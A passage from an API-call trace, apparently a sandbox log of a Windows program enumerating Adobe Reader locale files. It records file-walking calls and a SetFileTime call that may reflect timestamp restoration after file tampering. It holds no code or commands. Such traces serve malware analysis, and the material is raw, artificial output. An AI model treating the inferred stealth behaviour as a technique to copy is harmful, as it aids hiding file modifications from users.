dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="accessibility.ESP", cAlternateFileName="ACCESS~1.ESP")) returned 1 [0070.551] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.551] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\*.*") returned="*.*" [0070.551] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.551] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.553] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0070.553] CloseHandle (hObject=0x94) returned 1 [0070.554] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6d200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.ESP", cAlternateFileName="")) returned 1 [0070.554] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.554] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\accessibility.ESP") returned="accessibility.ESP" [0070.554] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.554] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.554] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="AdobeCollabSync.ESP", cAlternateFileName="ADOBEC~1.ESP")) returned 1 [0070.554] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.554] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Acroform.ESP") returned="Acroform.ESP" [0070.554] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.555] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.555] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Annots.ESP", cAlternateFileName="")) returned 1 [0070.555] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.555] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\AdobeCollabSync.ESP") returned="AdobeCollabSync.ESP" [0070.555] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.555] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.555] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8207ba00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x74, dwReserved1=0x0, cFileName="BRdlang32.ESP", cAlternateFileName="BRDLAN~1.ESP")) returned 1 [0070.555] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.555] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Annots.ESP") returned="Annots.ESP" [0070.555] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.555] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.556] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fc00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Checkers.ESP", cAlternateFileName="")) returned 1 [0070.556] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.556] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\BRdlang32.ESP") returned="BRdlang32.ESP" [0070.556] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.556] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.557] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20800, dwReserved0=0x74, dwReserved1=0x0, cFileName="DigSig.ESP", cAlternateFileName="")) returned 1 [0070.557] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.557] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Checkers.ESP") returned="Checkers.ESP" [0070.557] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.557] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.557] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x74, dwReserved1=0x0, cFileName="DVA.ESP", cAlternateFileName="")) returned 1 [0070.557] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.557] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DigSig.ESP") returned="DigSig.ESP" [0070.557] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.557] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.558] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="eBook.ESP", cAlternateFileName="")) returned 1 [0070.558] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.558] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\DVA.ESP") returned="DVA.ESP" [0070.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.558] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.558] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x74, dwReserved1=0x0, cFileName="EScript.ESP", cAlternateFileName="")) returned 1 [0070.558] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.558] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\eBook.ESP") returned="eBook.ESP" [0070.558] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.558] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.558] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x74, dwReserved1=0x0, cFileName="IA32.ESP", cAlternateFileName="")) returned 1 [0070.559] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.559] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\EScript.ESP") returned="EScript.ESP" [0070.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.559] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.559] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14600, dwReserved0=0x74, dwReserved1=0x0, cFileName="makeaccessible.ESP", cAlternateFileName="MAKEAC~1.ESP")) returned 1 [0070.559] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.559] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\IA32.ESP") returned="IA32.ESP" [0070.559] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.559] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.559] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d63ebe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="Multimedia.ESP", cAlternateFileName="MULTIM~1.ESP")) returned 1 [0070.559] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.560] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\makeaccessible.ESP") returned="makeaccessible.ESP" [0070.560] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.560] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.560] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="pddom.ESP", cAlternateFileName="")) returned 1 [0070.560] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.560] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\Multimedia.ESP") returned="Multimedia.ESP" [0070.560] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.560] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.560] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c88960, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x74, dwReserved1=0x0, cFileName="PPKLITE.ESP", cAlternateFileName="")) returned 1 [0070.560] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.560] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\pddom.ESP") returned="pddom.ESP" [0070.560] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.560] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.561] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f8506c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x156a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="RdLang32.ESP", cAlternateFileName="")) returned 1 [0070.561] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.561] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\PPKLITE.ESP") returned="PPKLITE.ESP" [0070.561] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.561] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.561] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="ReadOutLoud.ESP", cAlternateFileName="READOU~1.ESP")) returned 1 [0070.561] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.561] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\RdLang32.ESP") returned="RdLang32.ESP" [0070.561] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.561] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.561] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x74, dwReserved1=0x0, cFileName="reflow.ESP", cAlternateFileName="")) returned 1 [0070.561] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.561] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\ReadOutLoud.ESP") returned="ReadOutLoud.ESP" [0070.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" [0070.562] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\") returned="" [0070.562] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x74, dwReserved1=0x0, cFileName="SaveAsRTF.ESP", cAlternateFileName="SAVEAS~1.ESP")) returned 1 [0070.562] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0070.562] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\es_ES\\reflow.ESP") returned="reflow.ESP" [0070.562] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files 